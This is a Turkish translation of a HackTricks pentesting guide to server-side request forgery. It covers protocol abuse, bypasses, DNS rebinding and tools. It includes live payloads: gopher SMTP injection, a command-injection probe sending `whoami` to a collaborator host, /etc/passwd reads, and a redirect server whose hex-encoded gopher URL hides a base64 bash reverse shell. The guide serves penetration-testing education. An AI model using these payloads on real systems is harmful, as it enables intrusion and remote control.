hacktricks/pentesting-web/ssrf-server-side-request-forgery
2024-02-10 18:14:16 +00:00
..
cloud-ssrf.md Translated to Turkish 2024-02-10 18:14:16 +00:00
README.md Translated to Turkish 2024-02-10 18:14:16 +00:00
ssrf-vulnerable-platforms.md Translated to Turkish 2024-02-10 18:14:16 +00:00
url-format-bypass.md Translated to Turkish 2024-02-10 18:14:16 +00:00

SSRF (Sunucu Tarafı İstek Sahteciliği)


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Sunucu Tarafı İstek Sahteciliği (SSRF) zafiyeti, bir saldırganın bir sunucu tarafı uygulamasını manipüle ederek kendi seçtiği bir alan adına HTTP istekleri yapmasına neden olur. Bu zafiyet, saldırgan tarafından yönlendirilen keyfi harici isteklere sunucuyu maruz bırakır.

SSRF Yakalama

İlk yapmanız gereken, tarafınızdan oluşturulan bir SSRF etkileşimini yakalamaktır. Bir HTTP veya DNS etkileşimini yakalamak için şu gibi araçları kullanabilirsiniz:

Beyaz Liste Alanları Atlama

Genellikle SSRF'nin yalnızca belirli beyaz liste alanlarında veya URL'de çalıştığını bulacaksınız. Aşağıdaki sayfada, bu beyaz listeyi atlamak için deneyebileceğiniz tekniklerin bir derlemesini bulacaksınız:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

ık yönlendirmeyi atlayarak

Sunucu doğru şekilde korunuyorsa, web sayfasının içindeki bir Açık Yönlendirmeyi kullanarak tüm kısıtlamaları atlayabilirsiniz. Web sayfası, aynı alan adına SSRF'ye izin verecek ve muhtemelen yönlendirmeleri takip edecektir, bu nedenle ık Yönlendirmeyi kullanarak sunucunun iç kaynaklara erişmesini sağlayabilirsiniz.
Daha fazlasını burada okuyun: https://portswigger.net/web-security/ssrf

Protokoller

  • file://

  • file:// URL şeması, doğrudan /etc/passwd'e işaret eder: file:///etc/passwd

  • dict://

  • DICT URL şeması, DICT protokolü aracılığıyla tanımlamalara veya kelime listelerine erişmek için kullanıldığı belirtilir. Verilen bir örnekte, belirli bir kelime, veritabanı ve giriş numarasını hedefleyen oluşturulmuş bir URL, saldırgan tarafından sağlanan kimlik bilgilerini kullanarak bir DICT sunucusuna bağlanmak için potansiyel olarak kötüye kullanılan bir PHP betiği örneklendirilir: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>

  • SFTP://

  • Güvenli kabuk üzerinden güvenli dosya transferi için bir protokol olarak tanımlanan SFTP, bir PHP betiğinin kötüye kullanılarak kötü niyetli bir SFTP sunucusuna bağlanabileceği bir örnek ile gösterilir: url=sftp://generic.com:11111/

  • TFTP://

  • UDP üzerinden çalışan Basit Dosya Aktarım Protokolü, bir PHP betiğinin bir TFTP sunucusuna bir istek göndermek için tasarlandığı bir örnekle belirtilir. 'TESTUDPPACKET' adlı dosya için 'generic.com' üzerinde '12346' portuna bir TFTP isteği yapılır: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET

  • LDAP://

  • Bu bölüm, Hafif Dizin Erişim Protokolü'nü kapsar ve IP ağları üzerinde dağıtılmış dizin bilgi hizmetlerini yönetmek ve erişmek için kullanımını vurgular. Localhost'ta bir LDAP sunucusuyla etkileşim: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.

  • SMTP

  • SSRF zafiyetlerini kullanarak localhost'taki SMTP hizmetleriyle etkileşimde bulunmak için bir yöntem açıklanır. Bu bilgiler temelinde iç domain adlarını ortaya çıkarmak ve daha fazla araştırma yapmak için adımlar da açıklanır.

From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Eğer SSRF curl tarafından gerçekleştiriliyorsa, curl'ün URL globbing adında bir özelliği vardır ve bu özellik WAF'ları atlatmak için kullanışlı olabilir. Örneğin, bu yazıda file protokolü üzerinden bir yol geçişi örneği bulabilirsiniz:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Gopher protokolünün sunucu iletişimi için IP, port ve baytları belirleme yeteneği tartışılmaktadır. Gopherus ve remote-method-guesser gibi araçlar, payload oluşturmak için kullanılmaktadır. İki farklı kullanım örneği aşağıda verilmiştir:

Gopher://

Bu protokolü kullanarak, sunucunun göndermesini istediğiniz IP, port ve baytları belirleyebilirsiniz. Ardından, temel olarak bir SSRF'yi sömürerek herhangi bir TCP sunucuyla iletişim kurabilirsiniz (ancak önceden hizmetle nasıl iletişim kuracağınızı bilmelisiniz).
Neyse ki, çeşitli hizmetler için payload oluşturmak için Gopherus kullanabilirsiniz. Ayrıca, Java RMI hizmetleri için gopher payloadları oluşturmak için remote-method-guesser kullanılabilir.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

Gopher HTTP is a technique used in Server-Side Request Forgery (SSRF) attacks. It involves exploiting the Gopher protocol to make HTTP requests from the vulnerable server to arbitrary destinations.

The Gopher protocol is a simple protocol used for retrieving and displaying documents over the Internet. It operates on port 70 and uses a hierarchical structure similar to URLs. By crafting a Gopher URL with an HTTP request as the payload, an attacker can trick the server into making unintended HTTP requests.

To perform a Gopher HTTP attack, an attacker needs to identify a vulnerable parameter that accepts URLs and is susceptible to SSRF. They can then construct a Gopher URL with the desired HTTP request as the payload. The Gopher URL is then passed as a parameter to the vulnerable application, which will make the unintended HTTP request.

This technique can be used to bypass network restrictions, access internal resources, or perform reconnaissance on the target network. It is important for developers to validate and sanitize user-supplied URLs to prevent SSRF attacks using Gopher HTTP.

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — 1337'e geri bağlanma

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Referrer başlığı aracılığıyla SSRF ve Diğerleri

Sunuculardaki analitik yazılımlar genellikle gelen bağlantıları takip etmek için Referrer başlığını kaydeder. Bu uygulamaların yanlışlıkla Server-Side Request Forgery (SSRF) zafiyetlerine maruz kalmasına neden olur. Bu, analitik araçların Referrer başlığında belirtilen harici URL'leri ziyaret ederek yönlendirme sitesi içeriğini analiz etmesi nedeniyle gerçekleşir. Bu zafiyetleri ortaya çıkarmak için Burp Suite eklentisi "Collaborator Everywhere" kullanılması önerilir. Bu eklenti, analitik araçların Referer başlığını nasıl işlediğini kullanarak potansiyel SSRF saldırı yüzeylerini belirler.

Sertifikadaki SNI verileri aracılığıyla SSRF

Basit bir yapılandırma ile herhangi bir arka uca bağlantıyı etkinleştirebilecek bir yanlış yapılandırma, aşağıdaki Nginx yapılandırma örneği ile gösterilir:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Bu yapılandırmada, Sunucu Adı Gösterimi (SNI) alanındaki değer doğrudan arka uç adresi olarak kullanılır. Bu yapı, Sunucu Tarafı İstek Sahteciliği'ne (SSRF) karşı bir zafiyet açığa çıkarır ve istenen IP adresini veya alan adını SNI alanında belirterek istismar edilebilir. openssl komutunu kullanarak internal.host.com gibi istenilen bir arka uca zorlamak için bir istismar örneği aşağıda verilmiştir:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget dosya yükleme

Komut Enjeksiyonu ile SSRF

url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` gibi bir payload denemeye değer olabilir.

PDF'lerin Render Edilmesi

Web sayfası, sağladığınız bazı bilgilerle otomatik olarak bir PDF oluşturuyorsa, PDF oluşturucu (sunucu) tarafından yürütülecek olan bir JS kodu ekleyebilirsiniz ve SSRF'yi istismar edebilirsiniz. Daha fazla bilgiyi burada bulabilirsiniz.

SSRF'den DoS'a

Birkaç oturum oluşturun ve oturumlardan SSRF'yi istismar ederek ağır dosyaları indirmeyi deneyin.

SSRF PHP Fonksiyonları

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF Yönlendirmesi Gopher'a

Bazı istismarlar için bir yönlendirme yanıtı göndermeniz gerekebilir (muhtemelen gopher gibi farklı bir protokol kullanmak için). İşte yönlendirme ile yanıt vermek için farklı python kodları:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)

self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
```python
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()

Bu kod parçası, bir HTTP sunucusu oluşturur ve 443 numaralı portu dinler. MainHandler sınıfını kullanarak gelen istekleri işler. server.pem dosyasını kullanarak SSL/TLS sertifikasıyla sunucu soketini güvenli hale getirir. Son olarak, sunucu sürekli olarak istekleri kabul eder ve işler.

from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

DNS Rebidding CORS/SOP bypass

Eğer CORS/SOP nedeniyle bir yerel IP'den içerik çıkaramıyorsanız, DNS Rebidding bu kısıtlamayı aşmak için kullanılabilir:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

Otomatik DNS Rebidding

Singularity of Origin, DNS rebinding saldırıları gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki zayıf yazılımları sömürmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir.

Ayrıca http://rebind.it/singularity.html adresinde genel olarak çalışan bir sunucuyu kontrol edin.

DNS Rebidding + TLS Session ID/Session ticket

Gereksinimler:

  • SSRF
  • Giden TLS oturumları
  • Yerel bağlantı noktalarında şeyler

Saldırı:

  1. Kullanıcıya/bota saldırgan tarafından kontrol edilen bir alana erişim isteyin.
  2. DNS'nin TTL değeri 0 saniye olmalıdır (bu nedenle kurban alanın IP'sini yakında tekrar kontrol edecektir).
  3. Kurban ve saldırgan alanı arasında bir TLS bağlantısı oluşturulur. Saldırgan, Session ID veya Session Ticket içine payload'ı yerleştirir.
  4. Alan, kendine karşı sonsuz bir yönlendirme döngüsü başlatacaktır. Bu, kullanıcının/botun alanı erişmesini sağlamak ve alanın tekrar bir DNS isteği gerçekleştirmesini sağlamak içindir.
  5. DNS isteğinde şimdi bir özel IP adresi verilir (örneğin 127.0.0.1).
  6. Kullanıcı/bot, TLS bağlantısını yeniden kurmaya çalışacak ve bunu yapmak için Session ID/Ticket ID'yi gönderecektir (saldırganın payload'unun bulunduğu yer). Tebrikler, kullanıcı/botun kendisine saldırmasını başardınız.

Bu saldırı sırasında, localhost:11211 (memcache)'e saldırmak istiyorsanız, kurbanın ilk bağlantıyı www.attacker.com:11211 ile kurmasını sağlamanız gerekmektedir (port her zaman aynı olmalıdır).
Bu saldırıyı gerçekleştirmek için şu aracı kullanabilirsiniz: https://github.com/jmdx/TLS-poison/
Bu saldırının açıklandığı sunumu incelemek için daha fazla bilgi için: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Kör SSRF

Kör SSRF ve kör olmayan SSRF arasındaki fark, körde SSRF isteğinin yanıtını görememenizdir. Bu nedenle, yalnızca bilinen güvenlik açıklarını sömürebileceğiniz için daha zor sömürülebilir.

Zaman tabanlı SSRF

Sunucudan gelen yanıtların zamanını kontrol ederek, bir kaynağın var olup olmadığını anlamak mümkün olabilir (var olan bir kaynağa erişmek, var olmayan bir kaynağa erişmekten daha uzun sürebilir)

Bulut SSRF Sömürüsü

Bir bulut ortamında çalışan bir makinede SSRF zafiyeti bulursanız, bulut ortamı hakkında ilginç bilgiler ve hatta kimlik bilgileri elde edebilirsiniz:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

SSRF Zafiyetli Platformlar

Birçok bilinen platform SSRF zafiyetleri içerir veya içermiştir, bunları kontrol edin:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Araçlar

SSRFMap

SSRF zafiyetlerini tespit etmek ve sömürmek için kullanılan bir araç

Gopherus

Bu araç, aşağıdaki için Gopher yükleri oluşturur:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser, en yaygın Java RMI zafiyetleri için saldırı işlemlerini destekleyen bir Java RMI zafiyet tarama aracıdır. Mevcut işlemlerin çoğu, talep edilen işlem için bir SSRF yükü oluşturmak için --ssrf seçeneğini destekler. --gopher seçeneğiyle birlikte, hazır kullanıma uygun gopher yükleri doğrudan oluşturulabilir.

SSRF Proxy

SSRF'ye duyarlı HTTP sunucuları üzerinden istemci HTTP trafiğini tünellemek için tasarlanmış çoklu iş parçacıklı bir HTTP proxy sunucusudur.

Uygulama yapmak için

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

Referanslar

htARTE (HackTricks AWS Red Team Expert)